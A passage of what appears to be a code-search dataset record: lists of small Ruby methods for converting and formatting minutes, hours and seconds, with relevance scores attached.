"def minmethod(minutes)\n if minutes > 60\n hours, minutes = minutes.divmod(60)\n \"#{hours.to_s.rjust(2)}hr #{minutes.to_s.rjust(2)}minutes\"\n else\n \"#{minutes.to_s.rjust(2)}minutes\"\n end\n end",
"def min\n return self.to_a[IDX_MINUTE]\n end",
"def to_i\n return (((@hour*60)+@minute)*60) + @second\n end",
"def get_hour\n self.hr.strftime(\"%H\").to_i + self.hr.strftime(\"%M\").to_d/60\n end",
"def convert_minutes_into_hours(minutes)\n hour = minutes / 60\n min = minutes % 60\nputs \" #{hour}:#{min}\"\nend",
"def min=(newmin)\n newmin = newmin.to_i\n raise ArgumentError, \"Invalid minute: '#{newmin}'.\" if newmin < 0 or newmin > 60\n @t_min = newmin\n end",
"def round_minutes(minutes)\n if minutes >= 60\n # Division will provide the number of hours\n @hour += (minutes / 60).floor\n # Mod will provide the number of minutes\n # TODO: Will this work?\n round_minutes(minutes % 60)\n else\n minutes\n end\n end",
"def clock_min(clock)\n to_clock24(clock).min\nend",
"def minute_cell(half_hour)\n content_tag :td, :class => \"day_min_cell\" do\n if (half_hour%2 == 0)\n '00'\n else\n '30'\n end\n end\n end",
"def mpm\n mph = self.mph\n return nil unless mph and mph.is_a?(Float)\n div = 60.0 / mph\n min = div.floor\n sec = ( ( div - min ) * 60.0 )\n \"#{ sprintf(\"%.2d\", min ) }:#{ sprintf(\"%.2d\", sec ) }\"\n end",
"def minutes\n\t\treturn self * 60\n\tend",
"def minutes\n\t\treturn self * 60\n\tend",
"def validate_minute(spec)\n validate_numeric(spec, 0, 59)\n end",
"def beginning_of_hour\n change(min: 0)\n end",
"def beginning_of_hour\n change(min: 0)\n end",
"def set_time(hour, minute)\n hour = 0 if hour.negative?\n hour = 23 if hour > 23\n minute = 0 if minute.negative?\n minute = 59 if minute > 59\n time = Time.new(0, nil, nil, hour, minute, nil, nil)\n @hour = time.hour\n @minutes = time.min\n end",
"def time_of_day(min)\n if min<0\n min = min + (-(min/1440)*1440)\n end \n num_days = min/1440 \n if num_days > 1\n min = min - num_days*1440\n end \n hour = min/60\n minute = min.remainder(60)\n format('%02d', hour)\n p \"#{hour}:#{minute}\"\nend",
"def format_minute(minute)\n first, second = minute.divmod(10)\n first_digit_arr = @@number_strs[first]\n second_digit_arr = @@number_strs[second]\n [\n first_digit_arr[0] + second_digit_arr[0],\n first_digit_arr[1] + second_digit_arr[1],\n first_digit_arr[2] + second_digit_arr[2]\n ]\n end",
"def inizio_minuto\n Time.new(self.year, self.month, self.day, self.hour, self.min)\n end",
"def total_minutes\n hours * 60 + minutes\n end",
"def minutos(seg)\n return seg.to_f / 60\nend",
"def hour\n @hour ||= time_parts[0]\n end",
"def time_min; Time.now.min; end",
"def getMinutes\r\n\t\t\t\t\treturn @minutes\r\n\t\t\t\tend",
"def minutes_to_hours(minutes)\n minutes / 60\nend",
"def convert_hours_to_minutes(hours = nil)\n return if hours.nil?\n (hours.to_f * 60.to_f).to_i\n end",
"def end_minute_with_respecting_end_of_day\n if end_minute_without_respecting_end_of_day >= 59 and end_hour_without_respecting_end_of_day == 23\n 0\n else\n end_minute_without_respecting_end_of_day\n end\n end",
"def min_in\n @min_in ||= time_in.min\n end",
"def day_month_year_hour_minute\n I18n.locale.to_s == 'pt' ? \"%d/%m/%Y %H:%M\" : \"%m/%d/%Y %I:%M %P\"\n end",
"def time_conversion(minutes)\n\thours = minutes / 60\n\tmin = minutes % 60\n\t\tif min < 10\n\t\t\tmin_new = \"0\" + min.to_s\n\t\t\treturn \"#{hours}:#{min_new}\"\n\t\tend\n\tp \"#{hours}:#{min}\"\nend",
"def seconds_in_minutes(num_min)\n\tnum_min * 60\nend",
"def hours ; self * 60.minutes ; end",
"def time_of_day(min)\n hours_num, minutes = min.divmod(60)\n hour = hours_num % 24\n format(\"%02d:%02d\", hour, minutes)\nend",
"def hour\n return @t_hour\n end",
"def human_datetime_minute_mask\n case session[:database][:locale]\n when \"de\" then \"TT.MM.JJJJ HH:MI\"\n when \"en\" then \"YYYY-MM-DD HH:MI\"\n else \"TT.MM.JJJJ HH24:MI\" # Deutsche Variante als default\n end\n end",
"def min_to_formatted_time(mnt)\n\t\t(Time.now.midnight + mnt.minutes).to_s(:hr12)\n\tend",
"def humanized_minute(minutes)\n if minutes == 1\n ' ' << t('plugin_spent_time_in_issue.datetime.minutes.one')\n elsif minutes > 1\n ' ' << t('plugin_spent_time_in_issue.datetime.minutes.other', minutes: minutes)\n else\n ''\n end\n end",
"def hour\n self.range('hour')\n end",
"def minutes ; Duration[self * 60] ; end",
"def time_of_day(min)\n hours, minutes = min.divmod(60)\n hours = hours.divmod(24).last\n \"#{format('%02d', hours)}:#{format('%02d', minutes)}\"\nend",
"def get_time_required\n 0 # number of minutes\n end",
"def first_hour\n\t\tday_begins_at.strftime '%l%P'\n\tend",
"def to_minutes; Rational === @val ? @val/60 : @val/60.0 end",
"def time_of_day(minute)\n minute = minute % 1440\n minute += 1440 if minute < 0\n \"%02d:%02d\" %[minute/60, minute%60]\nend",
"def hour\n @hour\n end",
"def test_minute_set\n clock = Clock.new 0, -1\n alarm = AlarmClock.new 0, -1\n puts 'Wrong hour set' if clock.get_minute != 0\n puts 'Wrong hour set' if alarm.get_alarm_minute != 0\n clock.set_time 26, 0\n alarm.set_alarm 26, 0\n puts 'Wrong hour set' if clock.get_minute != 23\n puts 'Wrong hour set' if alarm.get_alarm_minute != 23\n end",
"def apply_function_minute(scope, ast)\n scope, timestamp = apply_ast(scope, ast.children.first)\n return scope, \"(date_part('minute', #{timestamp})::integer)\"\n end",
"def time_conversion(minutes)\n hr = 0\n min = 0\n \n while minutes >= 0\n if minutes >= 60\n minutes = minutes - 60\n hr = hr + 1\n elsif minutes < 10\n min = 0.to_s + minutes.to_s\n return hr.to_s + ':' + min.to_s\n else\n min = minutes\n return hr.to_s + ':' + min.to_s\n end\n end\nend",
"def hour\n components.hour\n end",
"def format_hour_minute(hour_minute)\n hour_minute.lstrip.rstrip.rjust(2,'0') \n end",
"def seconds\n (hour * 60 * 60) + (min * 60)\n end",
"def partial_hours_from_minutes(minute)\n partials = { 0 => 0.0, 15 => 0.25, 30 => 0.5, 45 => 0.75, 60 => 0.0 }\n interval = closest_to_number(minute_intervals, minute)\n partials[interval]\n end",
"def format_time_from_hour hour\n hrs = hour.to_i\n min = ((hour - hrs) * 60.0 + 0.5).to_i\n \"%2d:%02d\" % [hrs, min]\n end",
"def time_convert (num)\n hour = (num/60).to_s\n min = (num % 60).to_s\n puts hour + \":\"+ min\nend",
"def time_of_day(min)\n while min < -1440; min += 1440 end\n while min > 1440; min -= 1440 end\n if min >= 0; h = min / 60 end\n if min < 0; h = 24 + (min / 60) end\n m = min % 60\n if h < 10; h = \"0\" + h.to_s else h = h.to_s end\n if m < 10; m = \"0\" + m.to_s else m = m.to_s end\n return h+\":\"+m\nend",
"def addHour(hour)\n addMin(hour * 60) ;\n end",
"def in_minutes\n Duration::new(seconds: @seconds).to_minutes\n end",
"def TimeConvert(num)\n hour = num/60\n minute = num % 60\n puts (\"#{hour}:#{minute}\")\n\nend",
"def ti(time)\n h, m = case time\n when String\n time.split(':').map(&:to_i)[0, 2]\n when Time\n [time.hour, time.min]\n when Date\n [time.hour, time.min]\n when DateTime\n [time.hour, time.min]\n else\n raise \"unsupported object of type #{time.class}: #{time.inspect}\"\n end\n\n # maybe remove later, sanity check\n raise \"time with granularity != 5 min: #{time}\" if m % interval_minutes != 0\n\n (h * 60 + m) / interval_minutes\n end",
"def minutes_flight\n stamp = @raw_data[:FlightDuration].split(\"PT\")[1]\n stamp.split(\"H\")[1].split(\"M\")[0].to_i\n rescue\n nil\n end",
"def hour() end",
"def start_time(*args)\n raw = starts_at || shift.starts_at\n raw = Time.local date.year, date.month, date.day, raw.hour, raw.min\n return raw if args.include? :raw\n raw.to_s(:meridian_time).strip\n end"
] |
[
"0.76168805",
"0.75115323",
"0.7400418",
"0.7291517",
"0.7264071",
"0.71790254",
"0.6984181",
"0.69761115",
"0.6890814",
"0.68628556",
"0.6859385",
"0.67962086",
"0.6721731",
"0.6721731",
"0.6627458",
"0.65930545",
"0.6557322",
"0.6549359",
"0.65378225",
"0.6484371",
"0.6484371",
"0.64292854",
"0.6417653",
"0.64162225",
"0.6411069",
"0.64094",
"0.63901466",
"0.63676506",
"0.63474005",
"0.63474005",
"0.6331482",
"0.6303698",
"0.6263793",
"0.6249327",
"0.6226888",
"0.6205851",
"0.62025267",
"0.6180839",
"0.6167505",
"0.61380255",
"0.61192137",
"0.6088518",
"0.60430866",
"0.60416746",
"0.6026105",
"0.60252285",
"0.6023385",
"0.6023385",
"0.60090345",
"0.5996021",
"0.5996021",
"0.5993045",
"0.598999",
"0.59874624",
"0.59666127",
"0.5958131",
"0.59497935",
"0.5930274",
"0.5909215",
"0.5906165",
"0.5881692",
"0.5878499",
"0.58743846",
"0.58693975",
"0.586817",
"0.5868118",
"0.5864623",
"0.5837365",
"0.58313155",
"0.5817342",
"0.5811836",
"0.58019185",
"0.57956475",
"0.57916886",
"0.57905966",
"0.57838273",
"0.5783771",
"0.57611936",
"0.57584035",
"0.5754841",
"0.57305896",
"0.5727809",
"0.57251483",
"0.57120544",
"0.56726897",
"0.56693",
"0.56653595",
"0.5663632",
"0.565919",
"0.5649034",
"0.56400245",
"0.56126356",
"0.56049806",
"0.56021744",
"0.5584234",
"0.557666",
"0.55753046",
"0.55680627"
] |
0.5739169
|
81
|
Returns the second of the minute (0..60). (60 for a leap second).
|
def sec
if @time
@time.sec
elsif @datetime
@datetime.sec
else
to_time.sec
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def sec\n @sec ||= time_parts[2]\n end",
"def minutes() 60 * seconds end",
"def second\n self.to_duration.to_units(:hour, :minute, :second).fetch(:second)\n end",
"def seconds_in_minutes(num_min)\n\tnum_min * 60\nend",
"def sec() time[2] end",
"def minutes\n (seconds % 3600) / 60\n end",
"def minute\n self.to_duration.to_units(:hour, :minute, :second).fetch(:minute)\n end",
"def minutes\n (@seconds.abs / 60) % 60 * (@seconds < 0 ? -1 : 1)\n end",
"def seconds\n (hour * 60 * 60) + (min * 60)\n end",
"def time_to_minute(time)\n time.seconds_since_midnight / 60\n end",
"def minute\n @minute\n end",
"def minutes\n _nudge[1]\n end",
"def minute\n if self.in_play?\n return self.round.minute\n else\n if self.finished?\n return MINUTES\n else\n return 0\n end\n end\n end",
"def minutes\n value_parts[1]\n end",
"def minutes\n value_parts[1]\n end",
"def getminute()\n\t\treturn @min\n\tend",
"def seconds_to_minutes(seconds)\n seconds / 60\nend",
"def getMin(mod = 60, unit = 1)\n return normalize(getSec(0,0)/60.0, mod, unit) ;\n end",
"def to_i\n return (((@hour*60)+@minute)*60) + @second\n end",
"def seconds\n @seconds.abs % 60 * (@seconds < 0 ? -1 : 1)\n end",
"def to_i\n hour * 60 + minute\n end",
"def getSec(mod = 60, unit = nil)\n return normalize(@sec, mod, unit) ;\n end",
"def to_i\n ((@time.hour * 60) + @time.min) * 60\n end",
"def sec\n return @t_sec\n end",
"def minutes\n self * SECONDS_IN_MINUTES\n end",
"def second(date)\n time = [pad(date.hour.to_s), pad(date.minute.to_s), pad(date.second.to_s)].join(':')\n [time, day(date)].join(' ')\n end",
"def minute(padded = false)\n min = (seconds_since_start_of_hour / M_SECS).to_i\n if padded && min < 10\n min = \"0#{min}\"\n end\n min\n end",
"def end_of_minute\n change(\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end",
"def seconds\n value_parts[2]\n end",
"def seconds\n value_parts[2]\n end",
"def mpm\n mph = self.mph\n return nil unless mph and mph.is_a?(Float)\n div = 60.0 / mph\n min = div.floor\n sec = ( ( div - min ) * 60.0 )\n \"#{ sprintf(\"%.2d\", min ) }:#{ sprintf(\"%.2d\", sec ) }\"\n end",
"def seconds\n self * 60\n end",
"def seconds\n _nudge[2]\n end",
"def minute_timestamp_from_producer_clock\n t=Time.now\n t.strftime(\"%Y%j%H%M\").to_i\n end",
"def seconds_since_midnight\n self.hour.hours + self.min.minutes + self.sec + (self.usec/1.0e+6)\n end",
"def seconds ; return aseconds % SPM ; end",
"def minute\n set_function_and_argument(:minute, nil)\n end",
"def ms_to_min(ms)\n tempo = (ms.to_f / 1000) / 60\n return tempo\nend",
"def to_i\n return @tv_sec\n end",
"def minutos(seg)\n return seg.to_f / 60\nend",
"def minutes; self * MINUTE; end",
"def minutes; self * MINUTE; end",
"def ReturnSeconds(value)\n result = value.split(/m|s/)\n result = result[0].to_i*60 + result[1].to_i\n return result\nend",
"def minutes\n self.to_i * 60\n end",
"def seconds_since_midnight\n to_f - change(hour: 0).to_f\n end",
"def minutes ; self * 60 ; end",
"def time_of_day(minute)\n minute = minute % 1440\n minute += 1440 if minute < 0\n \"%02d:%02d\" %[minute/60, minute%60]\nend",
"def to_min(time)\n min = 0\n min += time.hour * 60\n min += time.min\n return min\n end",
"def end_of_minute\n change(sec: 59.999)\n end",
"def timechunk(sec)\n fail \"sec = #{sec}\" if sec < 1\n 1.send(find_unit(sec)).round\n end",
"def clock_sec(clock)\n to_clock24(clock).sec\nend",
"def seconds\n @time\n end",
"def seconds_since_midnight\n to_i - change(hour: 0).to_i + (usec / 1.0e+6)\n end",
"def min\n @min ||= time_parts[1]\n end",
"def time_sec; Time.now.sec; end",
"def get_seconds_from_time(time)\n times = time.split(':')\n return Integer(times[0]) * 60 * 60 + Integer(times[1]) * 60 + Integer(times[2])\n end",
"def to_minutes; Rational === @val ? @val/60 : @val/60.0 end",
"def format_minute(minute)\n first, second = minute.divmod(10)\n first_digit_arr = @@number_strs[first]\n second_digit_arr = @@number_strs[second]\n [\n first_digit_arr[0] + second_digit_arr[0],\n first_digit_arr[1] + second_digit_arr[1],\n first_digit_arr[2] + second_digit_arr[2]\n ]\n end",
"def clock_min(clock)\n to_clock24(clock).min\nend",
"def time_of_day(min)\n hours, minutes = min.divmod(60)\n hours = hours.divmod(24).last\n \"#{format('%02d', hours)}:#{format('%02d', minutes)}\"\nend",
"def seconds_since_midnight\n self.to_i - self.change(:hour => 0).to_i + (self.usec/1.0e+6)\n end",
"def get_seconds_after_midnight_from_hms(h, m, s); end",
"def get_seconds_after_midnight_from_hms(h, m, s); end",
"def time_of_day(minutes)\n case minutes <=> 0\n when 0\n \"00:00\"\n when 1\n minutes = minutes % 1440\n hours, minutes = minutes.divmod(60)\n format(\"%02d\", hours) + \":\" + format(\"%02d\", minutes)\n when -1\n minutes = 1440 + minutes\n minutes = minutes % 1440\n hours, minutes = minutes.divmod(60)\n format(\"%02d\", hours) + \":\" + format(\"%02d\", minutes)\n end\nend",
"def minute(date)\n time = [pad(date.hour.to_s), pad(date.minute.to_s)].join(':')\n [time, day(date)].join(' ')\n end",
"def interval_as_min_dot_sec\n seconds = @interval % 60\n if seconds > seconds.to_i\n #mpl3splt takes fractions of a second to hundredths of a second precision\n seconds = seconds.round(2)\n end\n min_dot_sec = \"#{(@interval.to_i / 60).floor}.#{seconds}\"\n end",
"def min_hour(num)\n hour = (num / 60) % 24\n min = num % 60\n [hour, min]\nend",
"def minutes_in_year(year)\n days_in_year(year) * minutes_in_day\nend",
"def minutes_flight\n stamp = @raw_data[:FlightDuration].split(\"PT\")[1]\n stamp.split(\"H\")[1].split(\"M\")[0].to_i\n rescue\n nil\n end",
"def minutes_in_a_year\n 60 * 24 * 365 # prints 525600\nend",
"def to_sec(time) #needs to be a string \"min:sec.hundreths of a sec\"\n\ttime_ary = time.split(\":\").map { |num| num.to_f}#string to array of floats\n\ttime_ary[0] = time_ary[0] * 60.0#convert min to sec\n\ttime_in_sec = 0\n\ttime_ary.each { |num| time_in_sec += num }#sum total number of seconds\n\ttime_in_sec\nend",
"def time_of_day(min)\n if min<0\n min = min + (-(min/1440)*1440)\n end \n num_days = min/1440 \n if num_days > 1\n min = min - num_days*1440\n end \n hour = min/60\n minute = min.remainder(60)\n format('%02d', hour)\n p \"#{hour}:#{minute}\"\nend",
"def round_minutes(minutes)\n if minutes >= 60\n # Division will provide the number of hours\n @hour += (minutes / 60).floor\n # Mod will provide the number of minutes\n # TODO: Will this work?\n round_minutes(minutes % 60)\n else\n minutes\n end\n end",
"def time_of_day(minutes)\n minutes = minutes % 1440\n hour, minute = minutes.divmod(60)\n \"#{format(\"%.2d\", hour)}:#{format(\"%.2d\", minute)}\"\nend",
"def tout_time(tout)\n current_time = Time.now.utc\n tout = Time.parse(tout)\n seconds = (current_time - tout).to_i\n if seconds >= 60\n minutes = seconds / 60\n if minutes >= 60\n hours = minutes / 60\n if hours >= 24\n days = hours / 24\n return days.to_s + \" days\"\n else\n return hours.to_s + \" hours\"\n end\n else\n return minutes.to_s + \" mins\"\n end\n else\n return seconds.to_s + \" seconds\"\n end\n end",
"def seconds_to_minutes(seconds)\n seconds = seconds.to_i.round\n\n minutes = (seconds / 60).round\n seconds = seconds - (minutes * 60)\n\n minutes.to_s.rjust(2, '0') + \":\" + seconds.to_s.rjust(2, '0')\n end",
"def mpk\n kmh = self.kmh\n return nil unless kmh and kmh.is_a?(Float)\n div = 60.0 / kmh\n min = div.floor\n sec = ( ( div - min ) * 60.0 ).round \n \"#{ sprintf(\"%.2d\", min ) }:#{ sprintf(\"%.2d\", sec ) }\"\n end",
"def time\n (1 + Time.now.to_i/10).ceil * 10\n end",
"def to_i\n @seconds\n end",
"def minutes ; Duration[self * 60] ; end",
"def sec=(newsec)\n newsec = newsec.to_i\n raise ArgumentError, \"Invalid second: '#{newsec}'.\" if newsec < 0 or newsec > 60\n @t_sec = newsec.to_i\n end",
"def time\n (route[:time].to_i / 60).ceil\n end",
"def step_number\n @step_number ||= (@time.to_f/60.0*sign.tempo).floor\n end",
"def with_minute(minute)\n LocalTime.of(@hour, minute, @second, @millis)\n end",
"def minutes\n\t\treturn self * 60\n\tend",
"def minutes\n\t\treturn self * 60\n\tend",
"def litres(time)\n (time / 2).to_i\nend",
"def with_second(second)\n LocalTime.of(@hour, @minute, second, @millis)\n end",
"def in_minutes\n Duration::new(seconds: @seconds).to_minutes\n end",
"def time\n moment % 1\n end",
"def minutes_in_year(years, leap_year = false)\n if leap_year\n years * DAYS_IN_LEAP_YEAR * HOURS_IN_DAY * MINUTES_IN_HOUR\n else\n years * DAYS_IN_YEAR * HOURS_IN_DAY * MINUTES_IN_HOUR\n end\nend",
"def beginning_of_minute\n change(sec: 0)\n end",
"def beginning_of_minute\n change(sec: 0)\n end",
"def time_conversion(minutes)\n\thours = minutes / 60\n\tmin = minutes % 60\n\t\tif min < 10\n\t\t\tmin_new = \"0\" + min.to_s\n\t\t\treturn \"#{hours}:#{min_new}\"\n\t\tend\n\tp \"#{hours}:#{min}\"\nend",
"def calculate_seconds(seconds)\n minutes = seconds / 60\n hours = minutes / 60\n return minutes, hours\nend",
"def time_in_ms(time)\n time_string = time.split(':')\n\n milliseconds = time_string.last.split('.').last\n totalmilliseconds = time_string.last.split('.').first.to_i * 1000 + milliseconds.to_i\n minutes = time_string.first.to_i * 60000\n return totalmilliseconds + minutes\nend",
"def minutes_in_a_decade\n return 10 * 365.25 * 24 * 60\nend",
"def melbCal(x)\n x = x / 60\n x = x / 60\n return x\n end"
] |
[
"0.72489357",
"0.71643585",
"0.7002234",
"0.69992113",
"0.6882843",
"0.68802774",
"0.6866271",
"0.68414056",
"0.6763384",
"0.6715851",
"0.67100227",
"0.66187584",
"0.65915644",
"0.64990944",
"0.64990944",
"0.64827764",
"0.64093566",
"0.6354304",
"0.6336383",
"0.62963885",
"0.6260866",
"0.62462974",
"0.6214426",
"0.6204452",
"0.6150741",
"0.614851",
"0.61375153",
"0.61238474",
"0.6071221",
"0.6071221",
"0.60442674",
"0.602955",
"0.60001767",
"0.5986294",
"0.595694",
"0.5951169",
"0.59333354",
"0.59043646",
"0.58915585",
"0.58901995",
"0.5888619",
"0.5888619",
"0.5871653",
"0.5840815",
"0.5819585",
"0.5798016",
"0.5797554",
"0.5752075",
"0.57403153",
"0.5722337",
"0.57043046",
"0.5693554",
"0.56871986",
"0.5685492",
"0.56762",
"0.5647572",
"0.56442976",
"0.5640877",
"0.56286114",
"0.56268376",
"0.5600235",
"0.55945843",
"0.55945843",
"0.5577397",
"0.5571776",
"0.55585635",
"0.5552443",
"0.5541894",
"0.55358505",
"0.5532531",
"0.5513019",
"0.55126494",
"0.5505788",
"0.5494273",
"0.54752016",
"0.54668456",
"0.5466354",
"0.54616666",
"0.5459024",
"0.545823",
"0.5450329",
"0.5446885",
"0.54456985",
"0.5437899",
"0.5436538",
"0.5436538",
"0.5419684",
"0.5409706",
"0.54066527",
"0.539866",
"0.5388671",
"0.5374842",
"0.5374842",
"0.53665304",
"0.5361965",
"0.53536075",
"0.5350629",
"0.53485477"
] |
0.62487185
|
23
|
Returns the number of microseconds for the time.
|
def usec
if @time
@time.usec
elsif @datetime
# Ruby 1.8 has sec_fraction (of which the documentation says
# 'I do NOT recommend you to use this method'). sec_fraction no longer
# exists in Ruby 1.9.
# Calculate the sec_fraction from the day_fraction.
((@datetime.day_fraction - OffsetRationals.rational_for_offset(@datetime.hour * 3600 + @datetime.min * 60 + @datetime.sec)) * 86400000000).to_i
else
0
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def microseconds(time)\n ((time[:sec_fraction].to_f % 1) * 1_000_000).to_i\n end",
"def microseconds() Float(self * (10 ** -6)) end",
"def microseconds(time)\n time[:sec_fraction] ? (time[:sec_fraction] * 1_000_000).to_i : 0\n end",
"def usec\n return @t_usec\n end",
"def toMillis(time); (time.to_f * 1000).to_i end",
"def toMicros(time); (time.to_f * 1000000).to_i end",
"def usec\n @usec ||= time_parts[3]\n end",
"def usec\n if @time\n @time.usec\n elsif @datetime\n # Ruby 1.8 has sec_fraction (of which the documentation says\n # 'I do NOT recommend you to use this method'). sec_fraction no longer\n # exists in Ruby 1.9.\n\n # Calculate the sec_fraction from the day_fraction.\n ((@datetime.day_fraction - OffsetRationals.rational_for_offset(@datetime.hour * 3600 + @datetime.min * 60 + @datetime.sec)) * 86400000000).to_i\n else\n 0\n end\n end",
"def usec\n if @time\n @time.usec\n elsif @datetime\n # Ruby 1.8 has sec_fraction (of which the documentation says\n # 'I do NOT recommend you to use this method'). sec_fraction no longer\n # exists in Ruby 1.9.\n\n # Calculate the sec_fraction from the day_fraction.\n ((@datetime.day_fraction - OffsetRationals.rational_for_offset(@datetime.hour * 3600 + @datetime.min * 60 + @datetime.sec)) * 86400000000).to_i\n else\n 0\n end\n end",
"def usec\n (@sec_frac.to_f * @sec_subt / 10**-6).round\n end",
"def timing_ms\n return nil if timing.nil?\n (timing * 1000).to_i\n end",
"def toMillis(time)\n (time.to_f * 1000).to_i\n end",
"def sec_fraction() time[3] end",
"def milliseconds() Float(self * (10 ** -3)) end",
"def usec_to_sec(ts)\n ts / USEC_ONE_SECOND\n end",
"def usec() end",
"def sec() time[2] end",
"def tv_usec() end",
"def seconds\n _nudge[2]\n end",
"def tv_usec\n return @tv_usec\n end",
"def seconds\n @time\n end",
"def to_i\n return @tv_sec\n end",
"def secs\n @msecs / SEC_TO_MS_F\n end",
"def elapsed_time\n (Time.now.to_f - @start_time) * 1000\n end",
"def elapsed_time\n (Time.now.to_f - @start_time) * 1000000\n end",
"def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend",
"def to_f\n return @tv_sec.to_f + (@tv_usec / 1e6)\n end",
"def milliseconds_since(time)\n ((Process.clock_gettime(Process::CLOCK_MONOTONIC) - time) * 1000).round\nend",
"def time_diff_milli(start, finish)\n (finish - start) * 1000.0\n end",
"def seconds\n ((@died_at - @time) / 1000).to_i\n end",
"def time\n (1 + Time.now.to_i/10).ceil * 10\n end",
"def time_sec; Time.now.sec; end",
"def ms\n ((duration * 1000.0) + 0.4999).to_i\n end",
"def time_in_ms(time)\n time_string = time.split(':')\n\n milliseconds = time_string.last.split('.').last\n totalmilliseconds = time_string.last.split('.').first.to_i * 1000 + milliseconds.to_i\n minutes = time_string.first.to_i * 60000\n return totalmilliseconds + minutes\nend",
"def conv_to_ms(time)\n time.to_i * 1000\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def to_i\n ( @msecs / SEC_TO_MS ).to_i\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def timestamp\n ((Time.now.to_f - StartTime)*1000).round\n end",
"def sec_fraction\n usec/86400000000.0\n end",
"def time_counter\n counter = Time.new.to_i - @time_counter\n return counter < 0 ? 0 : counter\n end",
"def detect_microseconds()\n\t\tsum = 0.0\n\t\tlimit = [ 100, @log_record_array.length()-1 ].min\n\t\tfor i in 0..limit\n\t\t\tsum = sum + @log_record_array[ i ].info[ POS_REQ_TIME ]\t\n\t\tend\n\t\ttreshold = 1000\n\t\tif ( sum / i > treshold )\n\t\t\tputs(\" + Guessing microseconds: average request time is greater than #{treshold}\")\n\t\t\t@log_record_array.each {|rec| rec.info[ POS_REQ_TIME ] = rec.info[ POS_REQ_TIME ].to_f / 1000000.to_f }\t\n\t\telse\n\t\t\tputs(\" + Guessing seconds: average request time is lesser than #{treshold}\")\n\t\tend\n\n\t\t\t\t\t\n\t\t\n\tend",
"def ticks_elapsed\n (@current_milliseconds / (@notify_frequency)).round\n end",
"def time_duration\n t1 = Time.now.to_f\n Time.now.to_f - t1\nend",
"def up_time\n (Process.clock_gettime(Process::CLOCK_MONOTONIC) - (@start[:time] || Time.now)).round(3)\n end",
"def run_time\n ((Time.now - start_time) * 1000).round\n end",
"def to_milliseconds; self*1000; end",
"def milliseconds()\n java.lang.System.currentTimeMillis\n end",
"def uptime\n return 0 if started_at.nil?\n ((Time.now.to_f - started_at.to_f) * 1000.0).to_i\n end",
"def seconds\n (Time.now - @start_time).to_i\n end",
"def time_distance_in_ms(time1, time2)\n ((time1 - time2) * 1_000).round\n end",
"def to_i\n @seconds\n end",
"def to_seconds\n atom * factor\n end",
"def nanoseconds; end",
"def timestamp_with_usec\n time = Time.now\n time.strftime('%Y-%m-%dT%H:%M:%S.') + format('%06d ', time.usec)\n end",
"def time\n a=[1, 1000, 60000, 3600000]*2\n ms = duration\n \"%02d\" % (ms / a[3]).to_s << \":\" << \n \"%02d\" % (ms % a[3] / a[2]).to_s << \":\" << \n \"%02d\" % (ms % a[2] / a[1]).to_s #<< \".\" << \n #\"%03d\" % (ms % a[1]).to_s\n end",
"def get_total_runtime_ms\n (TimeDifference.between(*get_runtime_timestamps).in_seconds * 1000).to_i\n end",
"def seconds\n value_parts[2]\n end",
"def seconds\n value_parts[2]\n end",
"def read_time\n (number_of_words.to_f / WORDS_PER_MINUTE).ceil\n end",
"def time_diff_milli(start, finish=Time.now)\n rc=(finish - start) * 1000.0\n end",
"def nsec\n 0\n end",
"def play_time\n sum = 0\n @tracks.each {|n| sum += n.total_time}\n return Time.at(sum/1000.0).strftime('%R:%S')\n end",
"def seconds_since(time)\n (Process.clock_gettime(Process::CLOCK_MONOTONIC) - time).round(2)\nend",
"def time_unit\n return \"1sec\"\n end",
"def convert_time_to_milliseconds(time)\n ((Time.strptime(time, '%H:%M:%S,%L') - Time.now.at_midnight) * 1000).to_i\n end",
"def timestamp_to_time_slow num\n AssumedTimezone.utc_to_local(Time.at(num / 1000.0, num % 1000).utc)\n end",
"def calculate_time(seconds, unit)\n (seconds.to_f / TIME_IN_SECONDS[unit].to_f).abs.round.to_i\n end",
"def now\r\n now = Time.now.to_f - @start_time\r\n now * 1000\r\n end",
"def seconds\n (duration + 0.4999).to_i\n end",
"def time_diff_milli( start, finish )\n\n\t( finish - start )\n\nend",
"def uptime_in_seconds\n if ! File.readable?(\"/proc/uptime\")\n return File.open(\"/proc/uptime\", mode=\"r\").gets[/^\\d+/].to_i\n else \n info = `uptime`.scan(/^\\s(\\d{2}.\\d{2}.\\d{2})\\sup\\s(\\d+)\\s(\\w+),\\s+(\\d+)(:\\d+|\\w+)/).flatten!\n # => [[\"19:52:49\", \"48\", \"days\", \"1\", \":26\"]]\n\n now = info[0]\n value = info[1].to_i\n unit = info[2].to_s\n precision = info[3].to_s\n surprise = info[4].to_s\n\n seconds = 0\n\n case unit\n when \"days\"\n seconds = value*24*60*60\n when \"hour\"\n seconds = value*60*60\n when \"min\"\n seconds = value*60\n end\n\n if surprise.match(/^:(\\d+)$/)[1]\n hours = precision.to_i\n minutes = $1.to_i\n seconds += hours*60*60 + minutes*60\n elsif surprise.match(/min/)\n minutes = precision.to_i\n seconds += minutes*60\n end\n\n return seconds\n end\nend",
"def now_in_ms\n Process.clock_gettime(Process::CLOCK_REALTIME, :millisecond)\n end",
"def now_in_ms\n Process.clock_gettime(Process::CLOCK_REALTIME, :millisecond)\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def seconds_since_midnight\n to_i - change(hour: 0).to_i + (usec / 1.0e+6)\n end",
"def sec\n return @t_sec\n end",
"def length\n seconds.to_runtime\n end",
"def update_time\n delta = Gosu.milliseconds - @last_ms\n @last_ms = Gosu.milliseconds\n delta\n end",
"def in_ms(seconds)\n \"#{'%.2f' % (seconds * 1000).round(2)}ms\"\nend",
